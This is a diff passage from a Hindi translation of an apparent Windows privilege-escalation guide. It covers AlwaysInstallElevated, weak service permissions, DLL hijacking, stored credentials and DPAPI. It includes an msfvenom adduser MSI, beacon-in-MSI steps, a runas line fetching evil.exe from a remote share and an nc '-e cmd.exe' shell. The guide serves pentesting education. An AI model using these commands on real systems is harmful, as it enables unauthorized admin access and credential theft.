एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च स्तर के उपयोगकर्ता के रूप में कोड चला सकें। > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा। -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +आप इस कमजोरी का लाभ [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) उपकरण का उपयोग करके उठा सकते हैं (जब यह मुक्त हो जाए)। ## KrbRelayUp -A **स्थानीय विशेषाधिकार वृद्धि** vulnerability exists in Windows **डोमेन** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +Windows **डोमेन** वातावरण में एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी विशेष परिस्थितियों में मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी की जाती हैं। -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +**शोषण खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +हमले के प्रवाह के बारे में अधिक जानकारी के लिए देखें [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**यदि** ये 2 रजिस्टर **सक्षम** हैं (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**यदि** ये 2 रजिस्टर **सक्षम** हैं (मान **0x1** है), तो किसी भी विशेषाधिकार के उपयोगकर्ता `*.msi` फ़ाइलों को NT AUTHORITY\\**SYSTEM** के रूप में **स्थापित** (निष्पादित) कर सकते हैं। ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -227,7 +231,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms ``` Write-UserAddMSI ``` -बस बनाए गए बाइनरी को कार्यान्वित करें ताकि विशेषाधिकार बढ़ाए जा सकें। +बस बनाए गए बाइनरी को कार्यान्वित करें ताकि विशेषाधिकार बढ़ सके। ### MSI Wrapper @@ -245,15 +249,15 @@ create-msi-with-wix.md ### Visual Studio के साथ MSI बनाएं -- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में उत्पन्न करें। +- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में **जनरेट** करें। - **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें। -- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **place solution and project in the same directory** चुनें, और **Create** पर क्लिक करें। -- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी उत्पन्न किया है। फिर **Finish** पर क्लिक करें। +- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **solution और project को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें। +- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी जनरेट किया है। फिर **Finish** पर क्लिक करें। - **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में, **TargetPlatform** को **x86** से **x64** में बदलें। - अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं। - प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें। - **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें। -- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो। +- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload इंस्टॉलर चलने पर तुरंत कार्यान्वित हो। - **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें। - अंत में, **build it**। - यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है। @@ -282,7 +286,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें अधिकृत होने पर स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है। +**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है यदि अधिकृत हो। {{#ref}} ../active-directory-methodology/laps.md @@ -297,7 +301,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U ``` ### LSA सुरक्षा -**Windows 8.1** से शुरू होकर, Microsoft ने स्थानीय सुरक्षा प्राधिकरण (LSA) के लिए बेहतर सुरक्षा पेश की है ताकि **अविश्वसनीय प्रक्रियाओं** द्वारा इसकी **मेमोरी** को **पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **ब्लॉक** किया जा सके, जिससे सिस्टम की सुरक्षा और बढ़ गई है।\ +**Windows 8.1** से शुरू होकर, Microsoft ने स्थानीय सुरक्षा प्राधिकरण (LSA) के लिए बेहतर सुरक्षा पेश की है ताकि अविश्वसनीय प्रक्रियाओं द्वारा इसकी **मेमोरी** को **पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **ब्लॉक** किया जा सके, जिससे सिस्टम की सुरक्षा और बढ़ गई है।\ [**LSA सुरक्षा के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL @@ -310,7 +314,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**डोमेन क्रेडेंशियल्स** को **लोकल सिक्योरिटी अथॉरिटी** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\ +**डोमेन क्रेडेंशियल** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल आमतौर पर स्थापित किए जाते हैं।\ [**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -319,7 +323,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerate Users & Groups -आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं +आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं। ```bash # CMD net users %username% #Me @@ -334,24 +338,24 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Privileged groups +### विशेष समूह -यदि आप **किसी विशेषाधिकार प्राप्त समूह का हिस्सा हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ: +यदि आप **किसी विशेष समूह से संबंधित हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेष समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Token manipulation +### टोकन हेरफेर -**और अधिक जानें** कि **token** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -निम्नलिखित पृष्ठ पर **दिलचस्प tokens के बारे में जानें** और उन्हें कैसे दुरुपयोग करें: +**और अधिक जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +निम्नलिखित पृष्ठ पर **दिलचस्प टोकनों** के बारे में जानें और उन्हें कैसे दुरुपयोग करें: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Logged users / Sessions +### लॉग इन उपयोगकर्ता / सत्र ```bash qwinsta klist sessions @@ -385,7 +389,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका उपयोग विशेषाधिकार बढ़ाने के लिए कर सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **प्रक्रियाओं के बाइनरी की अनुमतियों की जांच करना** ```bash @@ -406,7 +410,7 @@ todos %username%" && echo. ``` ### मेमोरी पासवर्ड खनन -आप **procdump** का उपयोग करके एक चल रहे प्रोसेस का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें। +आप **procdump** का उपयोग करके एक चल रहे प्रक्रिया का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें। ```bash procdump.exe -accepteula -ma ``` @@ -477,7 +481,7 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges can be escalated through various permissions: +Privileges को विभिन्न अनुमतियों के माध्यम से बढ़ाया जा सकता है: - **SERVICE_CHANGE_CONFIG**: सेवा बाइनरी की पुनः कॉन्फ़िगरेशन की अनुमति देता है। - **WRITE_DAC**: अनुमति पुनः कॉन्फ़िगरेशन को सक्षम करता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है। @@ -485,12 +489,12 @@ Privileges can be escalated through various permissions: - **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को विरासत में लेता है। - **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को भी विरासत में लेता है। -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +इस कमजोरियों की पहचान और शोषण के लिए, _exploit/windows/local/service_permissions_ का उपयोग किया जा सकता है। -### Services binaries weak permissions +### Services binaries कमजोर अनुमतियाँ -**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: +**जांचें कि क्या आप उस बाइनरी को संशोधित कर सकते हैं जो एक सेवा द्वारा निष्पादित होती है** या यदि आपके पास **फोल्डर पर लिखने की अनुमतियाँ हैं** जहाँ बाइनरी स्थित है ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +आप **wmic** (system32 में नहीं) का उपयोग करके हर बाइनरी प्राप्त कर सकते हैं जो एक सेवा द्वारा निष्पादित होती है और अपनी अनुमतियों की जांच करने के लिए **icacls** का उपयोग कर सकते हैं: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -516,7 +520,7 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " ``` यह जांचना चाहिए कि **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं या नहीं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है। -बाइनरी द्वारा निष्पादित पथ को बदलने के लिए: +बाइनरी के निष्पादन के पथ को बदलने के लिए: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` @@ -524,6 +528,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t RE यदि आपके पास एक रजिस्ट्री पर यह अनुमति है, तो इसका मतलब है कि **आप इस रजिस्ट्री से उप रजिस्ट्री बना सकते हैं**। Windows सेवाओं के मामले में, यह **मनमाने कोड को निष्पादित करने के लिए पर्याप्त है:** + {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} @@ -538,7 +543,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -सभी अनउद्धृत सेवा पथों की सूची बनाएं, जो अंतर्निहित Windows सेवाओं से संबंधित नहीं हैं: +बिना उद्धृत सेवा पथों की सूची बनाएं, जो अंतर्निहित Windows सेवाओं से संबंधित नहीं हैं: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -570,7 +575,7 @@ Windows उपयोगकर्ताओं को यह निर्दिष ### Installed Applications -**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)). +**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को ओवरराइट कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -581,7 +586,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Write Permissions -जांचें कि क्या आप किसी कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जिसे एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित किया जाएगा। +जांचें कि क्या आप किसी कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है। सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है: ```bash @@ -608,9 +613,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Startup पर चलाएँ -**जांचें कि क्या आप किसी रजिस्ट्री या बाइनरी को ओवरराइट कर सकते हैं जो किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने वाली है।**\ +**जांचें कि क्या आप कुछ रजिस्ट्री या बाइनरी को ओवरराइट कर सकते हैं जो किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने वाली है।**\ **अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों** के बारे में: + {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} @@ -625,7 +631,7 @@ driverquery /SI ``` ## PATH DLL Hijacking -यदि आपके पास **PATH पर मौजूद फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक कर सकते हैं और **अधिकार बढ़ा सकते हैं**। +यदि आपके पास **PATH पर मौजूद फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक करने और **अधिकार बढ़ाने** में सक्षम हो सकते हैं। PATH के अंदर सभी फ़ोल्डरों की अनुमतियों की जांच करें: ```bash @@ -665,7 +671,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ```bash netstat -ano #Opened ports? ``` -### रूटिंग तालिका +### राउटिंग तालिका ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -688,7 +694,7 @@ C:\Windows\System32\wsl.exe ``` बाइनरी `bash.exe` भी `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` में पाया जा सकता है। -यदि आप रूट उपयोगकर्ता प्राप्त करते हैं, तो आप किसी भी पोर्ट पर सुन सकते हैं (जब आप पहली बार `nc.exe` का उपयोग किसी पोर्ट पर सुनने के लिए करते हैं, तो यह GUI के माध्यम से पूछेगा कि क्या `nc` को फ़ायरवॉल द्वारा अनुमति दी जानी चाहिए)। +यदि आप रूट उपयोगकर्ता प्राप्त करते हैं, तो आप किसी भी पोर्ट पर सुन सकते हैं (जब आप पहली बार `nc.exe` का उपयोग करके किसी पोर्ट पर सुनते हैं, तो यह GUI के माध्यम से पूछेगा कि क्या `nc` को फ़ायरवॉल द्वारा अनुमति दी जानी चाहिए)। ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -716,11 +722,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault उपयोगकर्ताओं के क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य प्रोग्रामों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे ब्राउज़रों के माध्यम से स्वचालित रूप से लॉग इन कर सकें। लेकिन ऐसा नहीं है। +Windows Vault उपयोगकर्ताओं के क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है। Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है। -जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स का अनुरोध करना चाहिए** डिफ़ॉल्ट स्टोरेज वॉल्ट से। +जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**। मशीन पर संग्रहीत क्रेडेंशियल्स की सूची बनाने के लिए `cmdkey` का उपयोग करें। ```bash @@ -734,19 +740,19 @@ User: WORKGROUP\Administrator ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -`runas` के साथ प्रदान किए गए क्रेडेंशियल का उपयोग करना। +`runas` का उपयोग एक प्रदान किए गए क्रेडेंशियल सेट के साथ। ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -नोट करें कि mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), या [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) से। +ध्यान दें कि mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), या [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) से। ### DPAPI -**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर असममित निजी कुंजियों के सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है जो एंट्रॉपी में महत्वपूर्ण योगदान देता है। +**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है ताकि एंट्रॉपी में महत्वपूर्ण योगदान दिया जा सके। -**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम बनाता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है। +**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाले गए सममित कुंजी के माध्यम से कुंजी के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है। -DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)। +DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजी `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुंच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालांकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)। ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -769,9 +775,9 @@ 